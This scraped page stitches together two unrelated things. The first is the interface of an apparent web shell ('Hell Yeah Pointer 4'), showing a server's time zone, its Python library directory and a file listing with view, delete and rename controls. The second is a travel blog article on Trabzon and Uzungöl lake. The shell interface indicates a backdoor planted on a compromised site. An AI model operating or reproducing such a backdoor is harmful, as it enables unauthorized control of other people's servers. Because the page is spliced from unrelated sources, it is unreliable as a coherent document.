Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 16:58:19
curdir: / / usr / lib64 / python2.7 / email / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-04 13:21:41 0755
.. 36864 2026-01-04 13:21:41 0755
__init__.py 2856 2024-04-10 07:58:35 0644
__init__.pyc 2872 2024-04-10 07:58:46 0644
__init__.pyo 2872 2024-04-10 07:58:46 0644
_parseaddr.py 16138 2024-04-10 07:58:35 0644
_parseaddr.pyc 13893 2024-04-10 07:58:46 0644
_parseaddr.pyo 13893 2024-04-10 07:58:46 0644
base64mime.py 5794 2024-04-10 07:58:35 0644
base64mime.pyc 5323 2024-04-10 07:58:46 0644
base64mime.pyo 5323 2024-04-10 07:58:46 0644
charset.py 16044 2024-04-10 07:58:35 0644
charset.pyc 13541 2024-04-10 07:58:46 0644
charset.pyo 13494 2024-04-10 07:58:43 0644
encoders.py 2015 2024-04-10 07:58:35 0644
encoders.pyc 2232 2024-04-10 07:58:46 0644
encoders.pyo 2232 2024-04-10 07:58:46 0644
errors.py 1628 2024-04-10 07:58:35 0644
errors.pyc 3529 2024-04-10 07:58:46 0644
errors.pyo 3529 2024-04-10 07:58:46 0644
feedparser.py 20492 2024-04-10 07:58:35 0644
feedparser.pyc 11143 2024-04-10 07:58:46 0644
feedparser.pyo 11052 2024-04-10 07:58:43 0644
generator.py 14203 2024-04-10 07:58:35 0644
generator.pyc 10380 2024-04-10 07:58:46 0644
generator.pyo 10380 2024-04-10 07:58:46 0644
header.py 22243 2024-04-10 07:58:35 0644
header.pyc 13662 2024-04-10 07:58:46 0644
header.pyo 13592 2024-04-10 07:58:43 0644
iterators.py 2202 2024-04-10 07:58:35 0644
iterators.pyc 2366 2024-04-10 07:58:46 0644
iterators.pyo 2366 2024-04-10 07:58:46 0644
message.py 30723 2024-04-10 07:58:35 0644
message.pyc 28676 2024-04-10 07:58:46 0644
message.pyo 28676 2024-04-10 07:58:46 0644
mime 4096 2026-01-04 13:21:41 0755
parser.py 3299 2024-04-10 07:58:35 0644
parser.pyc 3828 2024-04-10 07:58:46 0644
parser.pyo 3828 2024-04-10 07:58:46 0644
quoprimime.py 10848 2024-04-10 07:58:35 0644
quoprimime.pyc 8850 2024-04-10 07:58:46 0644
quoprimime.pyo 8850 2024-04-10 07:58:46 0644
utils.py 10026 2024-04-10 07:58:35 0644
utils.pyc 9324 2024-04-10 07:58:46 0644
utils.pyo 9324 2024-04-10 07:58:46 0644
Karem - You will visit Trabzon after this article

You will visit Trabzon after this article

  • Home
  • Blogs
  • You will visit Trabzon after this article
Blog Details

You will visit Trabzon after this article

When we talk about picturesque nature, clean air, beautiful forests, green spaces, and clear springs, know that the talk is focused on the charming city of Trabzon, with its wonderful sea views of the Black Sea.

The city of Trabzon, which is called the Pearl of the Black Sea, is one of the most beautiful parts of Turkey. It is close to the Georgian border from the northeastern side of Turkey, and near it is the city of Rize, which exports tea to various parts of the world.

 

Trabzon is approximately 1069 km from Istanbul, 39 meters above sea level, where the port of Trabzon is located on the Black Sea. The city’s population is approximately 757,000, according to 2019 statistics, and its area is approximately 4,000 km. Tourism in Trabzon is the backbone of the city’s economy, as it receives thousands of Arab tourists annually.

Trabzon has a warm climate in summer, and humid and cold in winter, and there is usually a lot of rain and snow in the region.

 

Uzungöl Trabzon - the most important tourist places in Trabzon

Uzungöl Trabzon is one of the most popular tourist destinations, how not? It is the lake that has a special luster, and a distinctive charm, which tops the beauty and splendor of all those around it from the other lakes, as it is located at a distance of approximately 96 km from the city center, and on its sides are the mountainous heights covered with a wonderful green carpet, and you can imagine the amount of beauty represented when you travel In Uzungol, and seeing the view of this lake in the winter, especially, when the fog covers the mountains and the heights around it.